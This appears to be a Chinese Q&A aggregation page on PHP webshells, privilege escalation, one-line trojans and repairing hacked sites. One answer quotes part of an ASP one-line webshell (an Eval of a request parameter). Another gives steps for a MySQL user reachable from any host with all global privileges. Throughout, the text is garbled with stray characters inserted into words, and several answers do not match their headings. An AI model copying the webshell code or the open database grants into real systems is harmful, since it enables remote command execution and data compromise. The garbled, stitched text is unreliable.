❶ php提權能控制整個主機嗎，如同從本機登陸遠程3389主機
2/4分步閱讀
遠程連接伺服器之前首先需要把基本的准備工作做好，比如首先在伺服器創建一個新的網站，並把相應的網站內容上傳好。
我這里以wdcp linux伺服器為例子，如下圖所示創建一個新的網站
2/3
通過flashfxp等軟體將網站上傳至伺服器
3/3
進入phpmyadmin，導入sql文件
連接遠程資料庫
1/4
選擇該資料庫，然後點擊許可權，可以看到如下圖所示，然後點擊下方添加新用戶
2/4
然後輸入新用戶信息：
1、輸入用戶名
2、主機：選擇任意主機，然後輸入 %
（開啟mysql本身的遠程連接,簡單說,就是在創建mysql用戶時的主機名,使用IP,域名,或%號就可以,"%"代表所有,也就是任何人和機器都可以連接,只要有用戶密碼,也可以針對IP,域名來做限制）
3、生成密碼
4、全局許可權：全選
5、最後執行
3/4
通過以上步驟就生成了一個可以遠程訪問的資料庫，然後通過更改網站配置文件，php文件配置路徑如下圖，選擇database.php，然後打開文件
❷ php大馬的作用不包括
php大馬的作用不包括反彈shell反向鏈握祥亮接。根據查詢相關資料顯示php大馬就是php寫的提取站點許可權的程序，包括惡意命令執行、文段寬件刪除、新建文件、資料庫增刪改查等等，唯獨不包括反向鏈接。大馬指木馬病毒，帶有宴答提權或者修改站點功能，因此稱為木馬。
❸ 伺服器中了php後門，文件0fuck.asp，打開後是一句話木馬<%Eval(Request(chr(112))):Set fso=CreateObject
這是明顯的一句話木馬，許可權很強大，可以做許可權內的任何事情。
FTP刪除不掉可能是因為薯槐皮黑客設置了許可權，可以聯系空間商協助刪除，另外可以建議他們安裝一個明早護衛神入侵防護系統，自動監控木馬並數差隔離或刪除。
❹ php網站被掛木馬如何修復
php開發的網站被掛了木馬的話,首先檢查對比本地的備份文件以及修改的時間,看看修改時間是否有最近被篡改過的時間痕跡，然後對比日誌查找可疑文件,如果對程序代碼不熟悉的話，解決辦法：像這種攻擊用戶自己是很難解決的，最好選擇專業的網站安全公司來處理，國內也就Sinesafe和綠盟、啟明星辰等安全公司比較專業.
❺ 網站里發現大量不正常的PHP文件，應該是病毒，請問這病毒的目的是什麼
這應該是注入PHP文件的木馬，駭客通過url提交參數，在你的伺服器生成他想生成的PHP文件和內容，然後，就可以擁有你網站的執行許可權了
你可以把這幾個文件打個包，上傳成附件，我看下
❻ 求助php網站被一句話木馬入侵
一句話木馬一般都是插在 留言板之類的常用文本框裡面
❼ 計算機掃描出php漏洞如何處理
系統漏洞是指應用軟體或操作系統軟體在邏輯設計上的缺陷或在編寫時產生的錯誤，這個缺陷或錯誤可以被不法者或者電腦黑客利用，通過植入木馬、病毒等方式來攻擊或控制整個電腦，從而竊取您電腦中的重要資料和信息，甚至破壞您的系統。
漏洞原理windows系統漏洞問題是與時間緊密相關的。一個windows系統從發布的那一天起，隨著用戶的深入使用，系統中存在的漏洞會被不斷暴露出來，這些早先被發現的漏洞也會不斷被系統供應商：微軟公司發布的補丁軟體修補，或在以後發布的新版系統中得以糾正。而在新版系統糾正了舊版本中具有漏洞的同時，也會引入一些新的漏洞和錯誤。
因而隨著時間的推移，舊的系統漏洞會不斷消失，新的系統漏洞會不斷出現。系統漏洞問題也會長期存在。
安全公告
2014年2月12日凌晨，微軟發布7個漏洞補丁，包括4個「嚴重」級別的補丁和3個「重要」級別的漏洞。分別修復了Internet Explorer、.Net、Windows中存在的多個漏洞和一個Windows8專屬漏洞。
2014年1月16日，發布1月安全公告，其中4個漏洞補丁級別均為「重要」，它們分別修復了MS Office Word、Windows 7內核和舊版本Windows 內核驅動中存在的多個遠程代碼執行和提權漏洞。同時推送的還有Adobe Flash Player 12的版本更新安裝包及Adobe Reader安全更新。
微軟一般在每月第二周的周二發布安全公告，被稱為「補丁星期二」。
漏洞級別
漏洞按嚴重程度分為「緊急」、「重要」、「警告」、「注意」四種。一般的說，在微軟的網站上定義為重要的都應該及時更新。
漏洞修復
系統自動更新Update，或用電腦管家等安全軟體自動修復。
希望我能幫助你解疑釋惑。
❽ php大馬是干什麼的
大馬：指木馬病毒；
php大馬，就是php寫的提取站點許可權的程序；因為帶有提權或者修改站點功能，所以稱為叫木馬；